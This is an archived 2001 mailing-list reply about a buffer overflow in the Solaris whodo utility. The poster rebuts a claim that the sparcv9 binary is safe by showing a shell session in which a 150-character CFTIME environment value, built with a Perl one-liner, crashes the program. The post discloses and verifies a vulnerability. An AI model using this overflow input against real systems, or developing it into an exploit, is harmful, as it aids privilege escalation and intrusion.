Re: Solaris whodo Vulnerability

From: Dan Astoorian (djastat_private)
Date: Fri Jul 06 2001 - 07:36:50 PDT

Next message: Pablo Sor: "Re: Solaris whodo Vulnerability"

Previous message: malachi: "Re: Solaris whodo Vulnerability"
In reply to: Pablo Sor: "Re: Solaris whodo Vulnerability"
Next in thread: Pablo Sor: "Re: Solaris whodo Vulnerability"
Next in thread: malachi: "Re: Solaris whodo Vulnerability"
Reply: Pablo Sor: "Re: Solaris whodo Vulnerability"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

On Thu, 05 Jul 2001 15:50:44 EDT, Pablo Sor writes:
> 
> The /usr/sbin/sparcv9/whodo seems to be not vulnerable.

May I ask on what basis you have come to that conclusion?

| palm.cs:~> uname -insrmp
| SunOS palm.cs 5.8 sun4u sparc SUNW,Ultra-1
| palm.cs:~> env CFTIME=`perl -e 'print "x" x 150'` /usr/sbin/sparcv9/whodo
| xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
| palm.cs
| Segmentation fault
| palm.cs:~> 

-- 
Dan Astoorian               People shouldn't think that it's better to have
Sysadmin, CSLab             loved and lost than never loved at all.  It's
djastat_private        not, it's better to have loved and won.  All
www.cs.toronto.edu/~djast/  the other options really suck.    --Dan Redican

Next message: Pablo Sor: "Re: Solaris whodo Vulnerability"
Previous message: malachi: "Re: Solaris whodo Vulnerability"
In reply to: Pablo Sor: "Re: Solaris whodo Vulnerability"
Next in thread: Pablo Sor: "Re: Solaris whodo Vulnerability"
Next in thread: malachi: "Re: Solaris whodo Vulnerability"
Reply: Pablo Sor: "Re: Solaris whodo Vulnerability"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

This archive was generated by hypermail 2b30 : Fri Jul 06 2001 - 11:06:53 PDT